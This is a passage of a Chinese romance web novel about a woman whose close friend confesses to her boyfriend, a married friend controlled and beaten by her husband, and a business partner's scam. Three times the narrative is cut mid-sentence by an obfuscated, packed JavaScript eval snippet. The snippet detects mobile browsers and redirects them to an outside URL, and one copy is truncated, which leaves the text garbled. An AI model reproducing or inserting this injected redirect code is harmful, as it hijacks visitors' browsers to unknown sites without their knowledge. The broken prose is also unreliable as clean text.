送我走的那天,沈晋川几乎把他身上的钱都给我了,一遍遍地叮嘱我让我注意安全。 我刚上车就接到他带着哭腔的电话:“看着你进站,我差点就冲进去跟你一起走了……原来看着你走会这么难受。” 我听着他话,鼻子酸酸的:“还好,还有一年异地就能结束了。”我们就不用再受相思之苦了。 回到学校的第二天,严莉莉打电话询问我和沈晋川的情况,听说我们和好后,她笑着说:“看吧,我就说你们是火气太大了,需要见面发泄一下。” 我红着脸说才不是呢。 严莉莉在电话那头哈哈大笑,说如果不是,我和沈晋川现在都还没和好呢,她说我这趟杭州算是去对了,火气不降降,憋着对两人都不好。 我说她真的是越来越流氓了,张口闭口就是这档子事,如果真想耍流氓,就去跟彭子然耍。 潘露也发消息抱怨我没告诉她离开的时间,她说她原本想去送我的,我解释说那天时间太急,我们往火车站赶的时候,时间已经有点来不及了。 沈晋川不知道怎么了,自从我回来后每次视频提到潘露,他都会莫名其妙地不开心。 直到潘露又打电话来,说有事想请沈晋川帮忙,问我能不能跟沈晋川说一声。 我问她为什么不自己说,毕竟他俩也是有联系方式的,潘露却说她不好意思。 没想到我打电话跟沈晋川说了后,他非常生气:“以后我不会再帮她了,不管大事小事,让她自己想办法,她要再找你,你也直接拒绝!” 我一头雾水,困惑地问他原因,他严肃地说:“我不喜欢她,以前帮忙也是看她是你朋友,现在我不想帮了,我是你男朋友,只关心你的事,没义务一次次去帮她!” 沈晋川莫名其妙地的态度让我很疑惑,明明之前不是这样的,他和潘露,苏冉还有严莉莉关系都是很好的,见面也总是熟络的说说笑笑,怎么突然就这样了? 就算以前让他帮潘露,他虽然心里很不情愿,但也只是抱怨两句,现在这副样子,让我百思不得其解,我甚至怀疑他们之间是不是发生什么矛盾了? 如果真的是发生矛盾,一个是爱人,一个是好朋友,我该怎么从中调解呢?究竟是因为什么发生矛盾呢?我不知道,我想我需要去了解一下。 那时候我压根没有把他们两个联系到一块过,即便后来我亲耳听见潘露承认她喜欢沈晋川,即便她站在我面前亲口说出了那句话,我还是不敢相信。 我最要好的闺蜜,喜欢我的爱人?那一瞬间,我甚至怀疑她是不是在跟我开玩笑。 20. 潘露喜欢沈晋川? 知道潘露喜欢沈晋川,是我第二次去杭州的时候,那时严莉莉打来电话说要回来呆几天,我们就约在杭州见面。 苏冉原本也要来的,临行前却又突然说没时间,我问她是不是罗斌不让她来,她矢口否认,只说家里太忙,她一走几天罗斌一个人忙不过来。 自从结婚后,苏冉和我们联系就越来越少了,偶尔聊天,话题不是罗斌就是家长里短,渐渐地,我们之间就变得无话可说了。 她婆婆身体不好,她和罗斌索性辞了工作,回家接手了她婆婆的菜市场摊位,她说每天三点就要起床去拉菜,虽然累,但能和罗斌在一起她就觉得很满足。 有时聊着聊着,她就会说:“要是有个孩子就好了。”她说她婆婆总念叨,她也想给罗斌生个孩子,可就是怀不上。 我说:“你才结婚不久,那么着急干嘛。” 严莉莉劝她三思:“养孩子很费钱的,现在你婆婆生病还有外债,再加个孩子压力多大。” 苏冉却不以为意:“日子会好起来的,结婚了总要生孩子的。” 我总觉得婚后的苏冉慢慢变了,她的思想越来越像老一辈的人,觉得结婚就该马上要孩子,女人就该相夫教子。 她的话题永远围绕着家长里短,婚嫁彩礼,对新鲜事物和城市生活完全失去了兴趣。 严莉莉说她“才结婚就没了自己的生活”:“出来玩几天怎么了?我就不信没了你罗斌干不了活了?” 苏冉只是重复:“真的走不开。” 后来我们才知道,确实是罗斌不让苏冉来,他说出门要花太多钱,结婚了就该好好过日子,不能再像以前那样挥霍,家里既要照顾婆婆又要进货,根本忙不过来,他说苏冉结婚后就不能这么自私了。 “我不是不让你去,是现在得精打细算,你以前花钱大手大脚的样子,哪像要踏实过日子的人?我一个人照顾妈又要拉菜买菜,你就不能体谅下我?结婚了就要有结婚的样子,总想着自己出去快活,这不是自私是什么?” 可实际上苏冉已经很节省了。 “你别不爱听,我还能骗你?现在每一分钱都要花在刀刃上,上次你买的草莓,都不是应季的东西,那么贵,得卖多少菜才能赚来。” 一斤草莓能有多少钱呢? “结婚了心就要在自己家里,真懂事的媳妇,会让男人一个人扛这么多事吗?妈身体不好,摊位离不开人,你就不能多替我想想?总想往外跑,是觉得我能包揽一切,还是根本没把这个家当自己的责任?” “我不是逼你,你要真为这个家好,就收收心,别再像以前那样了,别跟着方梨她们瞎混了,不能表面顾家,心里根本没当回事。听话,踏实点,日子才能长久。不然你再这么只顾自己,最后吃亏的还是你。” 这是后来苏冉对我们说的,她说当时罗斌对她说这些话的时候,她甚至觉得罗斌说的是对的,她确实不该有结婚了还想要出去玩,不顾家的想法。 那时候我们根本不懂什么叫PUA,连这个词都没听说过,等后来知道的时候,很多事情都已经来不及挽回了。 苏冉那次最终没能来成,严莉莉从广州回来时也没带着彭子然。 我坐火车到杭州,刚出站就看见沈晋川在人群中朝我招手,我飞奔过去跳到他身上,他稳稳地接住了我。 我搂着他的脖子亲个不停,直到亲够了才想起来四下张望,“奇怪,潘露怎么没来?明明发信息说好要一起来的。” “我来接你还不够吗?”沈晋川抱着我说。 自从上次之后,他似乎特别反感听到潘露的名字,我缠着他追问原因,他只含糊地说:“离潘露远点。”还说骆海馨之所以会误会我们分手,就是因为潘露。 这话说得没头没尾,我完全不信:“怎么可能是潘露?她绝对不会传这种闲话!也绝不可能说出这种话!” “我没说她传闲话。”沈晋川回答。 我更困惑了:“那为什么怪她?你们是不是有什么误会?” 他却说不出个所以然来,只是反复叮嘱我以后别对潘露太好,我听得一头雾水。 晚上吃饭时,我和沈晋川刚到不久严莉莉就来了,她烫了一头大波浪,化着浓妆,戴着夸张的耳环,嘴唇涂得鲜红,这副打扮让她看起来比实际年龄至少大了五六岁。 严莉莉一见到我就给了我个大大的拥抱,她捏着我的脸打趣道:“哎哟,这小脸白里透红的,看来某人把你照顾得不错啊!”说着还故意瞟了眼沈晋川,“以后可不能再像上回那样惹我们家小屁孩哭了。” 她跟沈晋川说我上次哭着给她打电话,一把鼻涕一把眼泪的可伤心了。 “你胡说什么呢!“我急忙去捂她的嘴,“我什么时候哭了?” 沈晋川笑着把我往怀里带了带,温声说:“我再也不会惹她生气了,以后都不会了。” 见潘露还没到,严莉莉一边翻菜单一边随口问沈晋川:“你们不是同校吗?潘露就没个喜欢的人吗?该不会偷偷谈恋爱瞒着我们吧?” 话音刚落,沈晋川的笑容瞬间消失,脸色明显沉了下来。 严莉莉敏锐地察觉到气氛不对,疑惑地看向我。 我无奈地摇摇头,心里也纳闷得很,是在想不到闺蜜会和男朋友有什么过节。 正说着,包厢门突然开了,看到走进来的潘露,我和严莉莉同时瞪大了眼睛。 这还是我认识的那个保守的潘露吗?以前除了跳舞比赛,她从来不会穿吊带短裙,也不会化妆。 可今天她穿着白色碎花吊带裙,微卷的长发披散着,平时素颜就足够漂亮了,此刻精致的妆容衬得她像仙女下凡。 跳舞练就的好身材一览无余,该有的地方都有,简直让人移不开眼。 “啧啧啧,不得了!”严莉莉站起来,绕着潘露转了一圈,“这身材也太绝了吧!胸是胸腰是腰的,你这得迷死多少男人啊!以后不知道便宜哪个臭小子!”说着还顽皮地拍了下潘露的翘臀,“哎,我真的是生错性别了,我要是个男的该多好!” 我也由衷赞叹:“潘露,你这样穿太好看了,早就该这么打扮了!” 潘露轻轻拨了下头发,看向我这边抿唇笑了笑:“真的吗?” 我连连点头,却发现沈晋川在看我,眼神温柔得能滴出水来,我害羞地坐下,他立刻牵住了我的手。 严莉莉搂着潘露的细腰追问:“老实交代,突然打扮成这样,是不是交男朋友了?” 我也跟着起哄:“要是真谈了可要第一时间告诉我们啊!” 潘露只是笑笑,没有接话,她光是站在那里什么都没做,我就觉得她整个人都在发光。 我心想,这么美好的女孩子,一定会遇到很棒的爱情吧。 服务员陆续上菜时,严莉莉热情地拉开身边的椅子招呼潘露:“来来来,坐我旁边。” 可潘露却径直走到沈晋川旁边的位置坐下,严莉莉微愣,将拉开的椅子放了回去,沈晋川责往我这边挪了挪。 饭桌上,严莉莉说她在广州再待两年就准备回来了,我问她是准备回老家吗? 她点燃一支烟,说:“具体去哪儿还没想好,到时候你们在哪儿我就去哪儿,咱们待在一块。”她弹了弹烟灰,“我攒了点钱,以后想开个小店。我这人怕孤独,离近点到时候有个伴。” “那彭子然怎么办?”我随口问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464345|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严莉莉夹烟的手指微微一顿,吐出一口烟圈:“能不能走到那时候还两说呢。”她的语气轻飘飘的,却带着说不出的落寞,“男人的真心?值几个钱。” 她自嘲地笑了笑,说彭子然有钱,现在给她钱,条件就是不许她去找别人。 “大学还没毕业的小男孩,图个新鲜而已,说不定等腻了自然就分了。”她说这话时,眼睛一直盯着烟头明明灭灭的火光,“这样也挺好,反正我要的也只是钱。” 我不清楚他们之间的纠葛,也不知道他们是否相爱,但我隐约觉得严莉莉对彭子然是有好感的。 也许是被伤过,才用这样玩世不恭的态度来掩饰真心吧,又或许,严莉莉只是不愿承认自己动心了。 既不愿承认自己喜欢彭子然,也不愿相信彭子然会真心喜欢她。 吃到一半,沈晋川起身去了洗手间,没过多久,潘露也跟了出去。 严莉莉立刻凑过来:“他俩怎么回事?气氛怪怪的。” 我把沈晋川之前说的话告诉她,严莉莉皱起眉头:“啊?!潘露传的谣言说你们分手了?搞错了吧!” “我也说肯定搞错了,沈晋川非说这是跟潘露有关系。” 严莉莉坐回座位上:“我就说他俩怪怪的……”她沉默了一会,又说,“潘露为什么要这样说啊……”她眼睛一眨不眨地看着我,猛地拍了下桌面,“刚才吃饭时,潘露一直盯着沈晋川看,该不会……”后来的话她没有说,像是想到什么似的突然来了句,“他们怎么去这么久还没回来?” 我一愣,看着严莉莉的眼神,有一个不太好的想法在我脑海里一闪而过。 “我去看看。” 我鬼使神差地站起来往包厢外走去。 我不知道我要去看什么,也不知道我为什么要去卫生间,就感觉脑子有点乱。 转过走廊拐角时,潘露的声音清晰地传来:“我就是喜欢你,上高中的时候好多人都说我们是一对,上大学我有事你就来帮我,别人都说你是我男朋友,说我们般配……” 我的脚步猛地停住,心脏像是突然被掐住了,潘露向沈晋川表白? 那一瞬间,整个人像被雷劈中一样,脑子里轰的一声,完全懵了,先是空白,接着是密密麻麻的刺痛。 我想自己是不是在做梦,梦见了这荒唐的一幕,我掐了掐自己,疼痛告诉我这不是梦,不敢相信,又不得不信,胸口堵得发疼,又气又委屈,甚至觉得有点可笑。 潘露喜欢沈晋川? “我就想如果上高中时我也喜欢你,跟你表白,是不是现在和你在一起的就是我……” 世界仿佛在瞬间静止了,我僵在原地,嘴唇不自觉地发抖,眼眶发烫,整个人像被冻住一样,连呼吸都忘了。 等缓过神,牙齿死死咬着下唇,眼眶一下子就热了,想冲上去质问,可脚却像生了根,一步也迈不动,喉咙也像被什么堵住,一个字都说不出来。 这就是沈晋川让我离潘露远点的原因?他早就知道潘露喜欢他吗? “我不喜欢你!”沈晋川的声音冷得像冰,“方梨把你当朋友,你就这样对她?我从高中第一眼见到方梨就认定她了,所以不会再喜欢任何人!帮你,只是因为你是她的朋友,仅此而已!”他顿了顿,“不过现在我觉得,你根本不配做她的朋友!” “为什么!”潘露的声音突然拔高,“如果我和方梨公平竞争,我就……” 我手紧攥成拳,颤抖着走出去:“你们在干什么?” 空气瞬间凝固。 潘露的表情僵在脸上,沈晋川则快步朝我走来。 走廊的灯光突然变得刺眼,我这才发现自己的视线已经模糊了。 21. “我的心不大,只能装下你。” 我站在原地,死死盯着潘露那张熟悉又陌生的脸,耳朵嗡嗡作响。 “你……再说一遍?”我的声音抖得不成样子,多希望是自己听错了。 想起之前潘露说她喜欢上了一个有对象的人,我这才反应过来,她说的可能就是沈晋川,心里又难受又没法相信。 潘露看着我,抽泣着说:“方梨,你刚才都听见了,我说的是真的,我喜欢沈晋川,本来不喜欢他的,可我和他考上同一所大学,你却总让他照顾我,我有事就找他,他帮了我很多,室友和同学都说我们般配,是一对……其实高中时就有人说我们俩学霸般配,只是那时候我只想学习……”她过来想要拉我,“我没有要破坏你们的意思,我只是想把我的感情说出来……” 我下意识往后退了一步,脑子一片空白,完全不敢信,只觉得自己像个傻子,闺蜜喜欢自己男朋友,自己居然不知道,还让男朋友多照顾她? 我和沈晋川是异地,他很优秀,上大学后肯定有不少人喜欢他,这我是知道的,可我从没想过那个人会是潘露。 我突然想起大学报到那天,我特意叮嘱沈晋川说他们在一个学校,以后要帮我多照顾潘露,现在回想起来,只觉得可笑。 沈晋川脸色很差,拉着我就要走,我们迎面遇见了严莉莉,她看到我们三个脸色都不对,潘露脸上还有泪,问我们怎么了。 我脑子里乱糟糟的,想说话又不知道说什么,任由沈晋川拉着我走,潘露和严莉莉也跟了出来。 我们在路边等车,潘露还在哭哭啼啼地道歉,说她不是故意的,只是忍不住,她没别的意思,本来想把喜欢藏在心里,可太难了,马上毕业了,就想说出来,还说真的没想破坏我们之类的。 我看着她梨花带雨的样子,突然觉得反胃,明明从小一起长大,此刻这张熟悉的脸却特别陌生,以前那个流泪就让我心疼的潘露,此刻像个拙劣的演员。 沈晋川听完特别生气,把我拉到身后对她说:“方梨把你这种人当朋友,真是悲哀。” 潘露还在哭,眼泪不断往下流,以前看她哭,楚楚可怜的,我总会心软,可这次只觉得恶心。 她还在说对不起,伤心的样子好像她真的是无意的,这一切错的是我,她才是那个受害者。 我看着她,再也忍不住了:“别跟我说对不起,我不需要,你喜欢谁是你的自由,我管不着,可这种行为真的让我觉得恶心。” 我不知道潘露怎么想的,为什么非要把这一切说出来,也许就像她后来说的,她从小就优秀,没有男生不多看她几眼,不喜欢她,围在她身边的男生很多。 上大学后,她有事我就让沈晋川帮她,加上同学调侃,久而久之,她就觉得自己和沈晋川应该在一起。 她说每次听见我和沈晋川的甜蜜事,或者看到我们甜蜜,心里就不舒服。 她说命运让他们考到了一所学校,就是在给他们机会,沈晋川应该和她在一起。 她觉得自己特别优秀,没有男生会不为她着迷,沈晋川也不会例外,只是没想到沈晋川真的对她没感觉。 潘露的话像根刺扎进心里,我盯着地面,只觉得自己蠢得无可救药。 后来我想,潘露哪是真喜欢沈晋川,不过是听多了旁人的撺掇,又看沈晋川不像别的男生那样围着她转,便生出了非要把他“拿下”的好胜心罢了。 严莉莉在旁边气鼓鼓的:“天下男人多的是,怎么偏要打小屁孩男朋友的主意?” 潘露不说别的,只是流着泪一个劲地说“对不起”。 那晚回了宾馆,我一头扎进沈晋川怀里就哭,眼泪糊了他满肩,我抽噎着说,多希望这是场梦啊。 沈晋川轻拍着我的背安慰我。 我哽咽着问:“你早就知道了对不对?你是不是早就知道她喜欢你了?” 他捏着我的下巴让我抬头,很认真地说:“我也是今天才知道的。” 沈晋川说那天我提起骆海馨误会我们分手后,他上课时遇见骆海馨就问了问,骆海馨支支吾吾半天,才说总见他帮潘露,班里都传他在追她,又听说我们分了手,撞见潘露时问了两句,潘露也含糊其辞,这才闹出那场误会。 我听完只觉得荒唐,闺蜜抢男朋友?这种电视剧里的烂桥段,居然真砸到了我头上。 我揪着沈晋川的衣角追问:“你对潘露,真的半分心思都没有?” 沈晋川把我往怀里按得更紧:“没有!我的心就这么点大,这辈子只能装下你一个!” 这倒是真的,毕竟那次聚会,潘露穿着性感我和严莉莉都不忍多看两眼,但沈晋川全程眼睛都在我身上,没移开过。 虽然知道沈晋川的心思,可我还是总忍不住胡思乱想,他们在同一所学校,抬头不见低头见的。 我信沈晋川,可一想起自己曾巴巴地让他多照顾潘露,就恨不得找个地缝钻进去。 那次之后,我和潘露彻底断了联系,她发过几条信息,我连点开的念头都没有。 苏冉知道此事后,在电话里替她说话:“会不会是有误会?潘露不该是这样的人啊。” 我握着手机望着窗外,是啊,我也曾以为她不是这样的人,可事实狠狠抽了我一耳光。 关系再好,也不能让男朋友和闺蜜走得太近,该有的边界感,半分都不能少的。 或许,这件事里一大半的错来源于我。 后来在和沈晋川回忆起那件事,沈晋川说他那天从卫生间出来就被潘露拦住了,听她絮絮叨叨说完那些话,第一反应就是反胃。 “你对她掏心掏肺,她倒好。”他皱着眉骂了句,“这人人品不行。” 我望着他紧皱的眉头,忽然想通了,潘露大概是被从小到大的优越感惯坏了,总觉得自己看上的就该是自己的。 可惜啊,沈晋川的心,从来就不在她那里。 我和潘露彻底断了联系,但沈晋川在学校里还是经常能碰到她,每次我随口问起潘露,他总是一脸不耐烦地敷衍两句。 自那次之后沈晋川对潘露的印象就越来越差了,我甚至能想象他遇到潘露时那副冷着脸不想搭理的嫌弃模样。 严莉莉偶尔会跟我视频,她说潘露交了个男朋友,叫高昂,是他们系的。 “听说追了她很久,人特别好。”严莉莉说这话时一直在观察我的反应。 我嘴上说着不感兴趣,心里却莫名松了口气。 后来跟沈晋川打电话时,我还是没忍住问他知不知道这事,他直接说:“不关心。” 大学毕业那年,严莉莉带着彭子然回来了。 她约我吃饭,说有重要的事,可当我推开包厢门,看到潘露也在时,整个人都僵住了,转身就想走。 “别走啊!”严莉莉赶紧拉住我,硬把我按在座位上。 我瞪着她用眼神质问:不是说好就我们两个人吗? 潘露轻声说:“方梨,好久不见。” 确实很久了,自从那件事后我们就再没见过了。 她接着说:“我谈了个男朋友,我想你应该已经知道了吧,我准备和他去法国了,可能很久都不会回来。”然后又开始道歉,说当年她不该那样的,说她只是控制不住自己的感情。 我越听越觉得可笑,偷偷喜欢我男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464346|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友,还非要告诉他?这不就是想挖墙脚吗?她嘴上说着对不起,可我从她眼里看不到半点歉意。 我问严莉莉:“你今天瞒着我约我出来,就是要当和事佬?” 严莉莉连忙摆手:“我就是觉得她要出国了,大家道个别。”她明确表示潘露做出的事情她也还无法理解,所以不会掺和我们的事。 整顿饭吃得特别尴尬,基本都是潘露在说,吃完饭走出餐厅,一个高个子男生在等她。 严莉莉小声说:“那就是高昂。” 我看着那个男生,他跟沈晋川差不多高,长得还不错,特别绅士地跟我们点头问好,还体贴地给潘露开车门。 “一看就是有钱人家的孩子。”严莉莉说,“出国钱都是高昂出的,说不定以后都不回来了。” 我看着车子走远,一点也没明白潘露今天约我来到底是做什么的?只是要告诉我她要和她男朋友出国了吗? 回去后我跟沈晋川说起这事,他头都没抬:“她去火星都跟我们没关系。” 潘露就像一阵风一样从我们的生活中消失了,她去了法国后,我再也没有听到过她的消息,问起严莉莉,她也摇摇头说没联系了。 我又回了向花街,特意去看了苏冉。 远远地,我就看见一个熟悉的身影在鱼摊前忙碌,她穿着雨靴和沾满鱼鳞的围裙,麻利地杀鱼,散落的头发黏在汗湿的额头上,原本白皙的皮肤黑了不少,嘴角干裂起皮,笑起来眼角的皱纹让我心头一颤。 这还是苏冉吗?如果不是知道她的摊位位置,我从她面前走过,我绝对认不出她的。 “方梨?”她突然抬头看见了我,眼睛一下子亮了起来,顾不上擦手就冲过来拉住我。 我闻到她身上浓重的鱼腥味,摸到她掌心粗糙的老茧,指甲缝里还嵌着黑色的污渍。 没说几句话,就有顾客来买鱼了,鱼还没杀好,又有人拿好菜让她称了。 我看着她在摊位前陀螺似的转来转去,心里酸得厉害。 “罗斌呢?”趁她歇息的空档我问。 “他忙,他跟朋友合伙开了个厂。”苏冉用围裙擦着汗。 “开厂?开什么厂?在哪儿啊?” “我也不清楚,只知道他和别人合伙开了厂,做什么的我也不知道。”她局促地搓着手,“他说这些事告诉我,我也不懂。” 我想说什么,却被她打断:“哎呀,男人的事,我操心什么呀,他在外面忙,我就把摊子看好就行了。”她笑得很自然,仿佛这本就该是她的生活。 我约她吃饭,她摆摆手说收完摊要赶回去给婆婆和罗斌做饭,吃完收拾完就该睡了,不然太晚第二天没精神。 临走时,苏冉杀了一条鱼给我,非要让我带回去吃,我怎么推辞都没用。 回到家,妈妈知道苏冉没收钱脸色就变了,说她上次去买菜苏冉送了她两条鱼,菜钱也没收,结果被罗斌知道当众打了一顿,说她不好好做生意,东西都拿来送人了,当时菜市场好多人都瞧见了。 我手一抖,手机差点掉在地上,赶忙拿出手机给她转了帐。 我看着屏幕上苏冉的头像,还是她没结婚时那张青春洋溢的笑脸,和现在的她判若两人。 苏冉说她幸福,可所有人都看得见她眼里的光正在一点点熄灭。 我甚至不知道她所说的幸福在哪?日子怎么就过成这样了? 苏冉却依旧坚持说她幸福,说她的幸福我们不懂,只有她自己知道。 那时的我们谁都不知道,三年后,口口声声说着“幸福”的苏冉,会被她深爱的丈夫推进怎样的人间地狱。 22. 我总是喜欢撩拨他 大学毕业,沈晋川留在了浙江,我便也收拾了行囊,跟着他奔赴了这座陌生的城市。 临走前,几个平日里玩得最要好的同学凑在一起为我饯行,陈鹭也在其中,他告诉我他要去上海发展,说有个表姑在那边。 末了又补了句:“以后要是来上海,记得联系我。” 我点头应好,举杯祝他前程似锦,希望他能早日成为大作家,也祝他早日遇到那个能携手一生的人。 他笑着点头:“要是真遇到了,结婚一定请你。” 分别时,他忽然问:“能拥抱一下吗?” 我张开双臂迎上去,他的怀抱很轻,“要是哪天沈晋川对你不好,就来找我。”他低头看着我,声音很认真,“我养你,一辈子,就算只是朋友,我也养。” 我笑着推开他,语气里满是笃定:“他不会对我不好的,我会很幸福的,希望你也是。” 他看着我愣了几秒,然后笑着说:“好。” 刚到浙江的日子并不顺利,沈晋川很快就找到了工作,我却在求职的路上屡屡碰壁。 每次面试失败回家,他都会揉着我的头发说:“不急的,我可以养你。” 记不清在失败了多少后,我终于找到了一份还算满意的工作。 结束异地恋的生活比想象中的要甜蜜,每天清晨睁眼就能看到他的睡颜,下班后一起挤在厨房做饭,周末赖在沙发上看电影。 明明朝夕相处,却还是像热恋时一样黏人,动不动就要亲亲抱抱,每天睡前要捧着对方的脸亲好久,仿佛怎么亲都不够。 明明整天腻在一起,却还总想像藤蔓似的缠在对方身上。 记得有个周末,家里的菜吃完了,我们去超市买菜,沈晋川推着购物车问我想吃什么,看他认真挑选番茄的样子,我忽然起了逗他的心思,坏笑着凑到他耳边,小声说:“想吃你。” 沈晋川飞快地在我唇上啄了一下:“好,回家就给你吃。” “不要。”我故意逗他,“我现在就要。” 沈晋川二话不说拉起我的手就往外走:“行,现在就回家。” “菜不买了?”我拽着他不肯动。 “先回家喂饱你,再来买。”沈晋川脚步很快,“我怕你等不及。” “我不急呀。”我拉着他不想往外走。 其实我就想逗逗他,不知道为什么,我很喜欢看他被我撩拨到脸红的样子。 “我急。”沈晋川不由分说拖着我往出口走,语气里的急切藏都藏不住。 结果就是我们回家了,也没再出去买菜,晚上饿了点了外卖。 还有次我来例假,偏偏又想撩拨他,凑到他怀里耍赖。 他被我亲得呼吸发沉,只好紧紧抱着我,声音哑得像砂纸磨过:“又勾我?” 我往他颈窝里蹭,故意用手指划他的腰:“谁让你定力这么差。” 他眯起眼,轻咬了下我的耳垂,说:“现在可不是异地了,等你好了看我怎么收拾你。” 等我好了,我就装乖卖萌想蒙混过关,想他把这件事忘了就好了,可这人偏记得清楚,把我压在床上说:“撩我的时候就该想到后果。” 他缠着我不放,我求饶,他咬着我的耳垂笑,非要我帮他洗澡抵债,我不肯,他就扑上来亲,吻得又急又凶,把我所有的抗议都堵在喉咙里。 我喘着气讨饶,说再也不撩他了,他却抵着我的额头笑:“骗人,你下次还会的。” 他说得是真的,我就是喜欢撩拨他。 沈晋川总说,他对我是那种刻在骨子里的喜欢,带着生理性的冲动。 只要碰到我,哪怕只是指尖相触,或是凑在他耳边说句悄悄话,他的呼吸都会陡然变沉,眼神里像落了火,连耳根都泛着红,偏过头来攥住我的手,声音都带着点哑:“别闹,再撩我就真忍不住了。”他总爱说这句话。 可我依旧不管不顾,继续撩拨他。 “方梨。”他把我抵在墙上,声音低哑,“你是不是故意的?” 我装傻:“什么故意的?” 他低头轻咬我的唇:“撩完就跑,不负责任。” 我笑着躲他,却被他一把捞回来,按在沙发上亲到喘不过气。 搬到杭州后,日子过得黏黏糊糊的,我和严莉莉的联系渐渐稀松了下来,跟苏冉更是难得说上几句话,偶尔发视频过去,她不是在杀鱼就是在搬菜,手机支在摊位上,连抬头看镜头的时间都没有。 严莉莉有次打视频时跟我吐槽:“苏冉现在完全变了个人,我前阵子跟她视频,差点没认出来,脸黄黄的,眼角都是细纹,哪还有半点以前的影子?我让她好歹抹点护肤品,她倒好,一边擦桌子一边说‘农村就这样,洗把脸擦干就行’,还说什么‘人到岁数了都得老,这是正常的’,又说自己都结婚了,瞎折腾啥,纯属浪费钱。” 她啧啧摇头,“你说她这想法怎么变得这么快?思想比我奶奶还老土,婚姻到底给她带来了啥啊?她自己说她很幸福,可我一点都没看出来,要是这就是幸福,我这辈子都不打算结婚了。” 我听着她的话,忍不住打趣:“你这话听着,倒像是自己想结婚了?不然哪来这么多感慨?” “哪有,我就是想结,也没人啊!” “彭子然啊!” 严莉莉一顿,轻咳了一下:“胡说八道什么呢!彭子然才大四,还是个没毕业的毛头小子,我跟他?不过是玩玩罢了。” 她那时候总把“只是和他玩玩而已”挂在嘴边,以至于后来她说要跟彭子然结婚时,我第一反应就是,她图人家的钱,想把结婚也当成一场游戏。 那段日子,我和沈晋川的小日子过得很甜蜜,我计划着自己做点什么,却总是没有好的目标。 直到工作一年半后,沈晋川大学时的室友张恒突然找了过来。 张恒说他盯上了“网红餐饮”的路子,他说现在年轻人就好这口,他打算在学校商圈附近开个档口,专做爆款小吃,炸鸡,麻辣烫这些,保准火爆! 他说想找沈晋川一起投资,不想搞小打小闹的,要做就做大点,一步到位的。 那天他分析了很多,说得头头是道,还有一些我们不懂的专业术语,还将里面的利和弊仔细分析给我们听。 我和沈晋川听了都有些动心,特意跑去他说的那片商圈转了转,果然如他所说,那些网红招牌的小店门口都排着长队,生意异常火爆。 但我们还是有点犹豫,毕竟一下子投大钱开个大店,风险实在太高。 张恒看出了我们的顾虑,拍着沈晋川的肩膀说:“兄弟,你还信不过我?我敢打包票,这生意绝对挣钱!” 那会儿沈晋川正赶上工作不顺心,天天对着老板画的大饼唉声叹气,早就想换个活法,只是一直没找到合适的机会。 张恒见状,又退了一步:“要不你们先少投点试试水?三四万就行,等店里盈利了,你们再考虑加大投资也不迟。”他又拍着胸脯保证,“店铺我来管就行,你们啥都不用操心,坐等收钱就行,到时候如果生意爆了,你们再辞职过来也不晚。” 他说得唾沫横飞,把开店的流程,成本,客源分析得头头是道,连每天大概能卖多少份,食材成本能压到多少,周末和工作日的客流差异都算得清清楚楚,听着就像做足了功课。 “三万块就行。”张恒看着我们,拍胸脯保证,“就当是试试水,就算真亏了,这点钱也不算啥,再说了,我有信心,绝对亏不了!” 我们被他说动了,三万块确实不算多,就算打了水漂,也不至于伤筋动骨,于是咬咬牙,把钱投了进去。 没想到这店开起来后,真如张恒预料的那般火爆,每天饭点一到,档口前就排起长队。 张恒也说话算话,每个月都准时给我们转来分红,看着没努力就进账的钞票,我们实实在在尝到了甜头。 网红餐饮店做了一年后,我和沈晋川在和张恒打交道的过程中,慢慢接触到了电商。 研究了一阵子后,我们觉得卖饰品应该是个不错的方向,样式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我们越想越不对劲,逼着他带我们去工厂对质,他支支吾吾地说没空,挂断了电话,再打过去就是忙音,微信消息也石沉大海。 我俩不甘心,按着他说的地址找到那家工厂,看门大爷听我们提张恒的名字,直摇头说压根没这人。 旁边一个穿工服的大姐听了原委,撇嘴道:“你们怕不是被骗了?这人前阵子倒是来问过价,可我们根本没跟他签过单。” 后来才知道,他哪懂什么网店经营,连怎么上架商品都得对着教程摸索,更可笑的是,沈晋川的另一个室友也被张恒用一模一样的话术坑过,手里压着一堆卖不出去的杂物。 报了警之后,警察总算把他堵在了出租屋里,可他梗着脖子辩解,说自己没骗钱,“钱全进了货,货不都给他们了吗?” 一句话堵得我们哑口无言,我们当初光顾着信任,连份像样的合同都没签,警察也只能叹着气说,要讨说法就得去法院起诉。 那会儿我和沈晋川早就辞了职,整天守着装修好的店面和连张主图都没做好的网店发呆。 店里挂着的那些过时衣服,像一个个嘲讽的笑脸,逼得我们只能扯着嗓子低价甩卖,三十块一件,五十块两件,连成本的零头都收不回来。 严莉莉知道了这事,气的直骂我:“你是不是傻啊!人家说什么你都信?脑子长着是当摆设的吗?人家有钱不自己挣,哪儿还会带上你?” 她说让我们赶紧去起诉,说这人八成就是个骗子,骗的人肯定不止我们,赶紧起诉看能不能拿回来点钱。 